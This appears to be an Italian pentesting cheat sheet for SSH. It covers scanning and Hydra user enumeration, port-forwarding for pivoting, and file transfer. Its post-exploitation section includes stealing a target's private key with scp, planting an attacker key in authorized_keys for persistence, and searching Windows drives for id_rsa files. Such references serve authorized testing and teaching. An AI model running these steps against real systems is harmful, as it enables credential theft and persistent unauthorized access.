Vai al contenuto

SSH

Cheet Sheet per l'utilizzo di SSH in ambiente Linux e Windows.

Pre-Exploitation

Riconoscimento e Scansione

Scansione delle Porte SSH

bash
# Scansione con Nmap per la porta SSH (default 22)
nmap -p 22 --open -sV -sC <target_ip>

# Enumerazione versioni e script specifici
nmap -p 22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods <target_ip>

Enumerazione Utenti con SSH

bash
# Tentativo di enumerare utenti validi con un dizionario
hydra -L users.txt -p invalidpass ssh://<target_ip>

Connessioni di Base

Login via SSH con Credenziali

bash
# Connessione base
ssh <username>@<target_ip>

# Specifica una chiave privata
ssh -i <private_key> <username>@<target_ip>

Debug Connessioni

bash
ssh -vvv <username>@<target_ip>

Post-Exploitation

Pivoting con SSH

Dynamic Port Forwarding (SOCKS Proxy)

bash
ssh -D <local_port> <username>@<target_ip>
# Configurare il browser per usare localhost:<local_port> come proxy SOCKS5

Local Port Forwarding

bash
ssh -L <local_port>:<target_host>:<target_port> <username>@<target_ip>
# Esempio: ssh -L 8080:localhost:80 <username>@<target_ip>

Remote Port Forwarding

bash
ssh -R <remote_port>:<target_host>:<target_port> <username>@<target_ip>
# Esempio: ssh -R 8080:localhost:80 <username>@<target_ip>

Persistenza e Furto di Chiavi

Copia di una Chiave Privata

bash
scp <username>@<target_ip>:~/.ssh/id_rsa ./

Persistenza via Authorized Keys

bash
# Aggiunta della propria chiave pubblica per accesso persistente
echo "<attacker_public_key>" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Enumerazione di Chiavi SSH su Windows

powershell
# Cerca chiavi in directory comuni
Get-ChildItem -Path C:\ -Include id_rsa, *.pub -Recurse -Force -ErrorAction SilentlyContinue

Comandi Utili (Linux e Windows)

Gestione Chiavi

bash
# Generare una coppia di chiavi
ssh-keygen -t rsa -b 4096 -f <key_name>

# Aggiungere una chiave privata all'agente SSH
ssh-add <private_key>

# Verificare le chiavi salvate
ssh-add -l

Trasferimento di File

bash
# Usare SCP per trasferire file
scp <local_file> <username>@<target_ip>:<remote_path>
scp <username>@<target_ip>:<remote_file> <local_path>

SSH su Windows

Connessione con OpenSSH (Windows 10/11)

powershell
ssh <username>@<target_ip>

Trasferimento File su Windows

powershell
scp <local_file> <username>@<target_ip>:<remote_path>
scp <username>@<target_ip>:<remote_file> <local_path>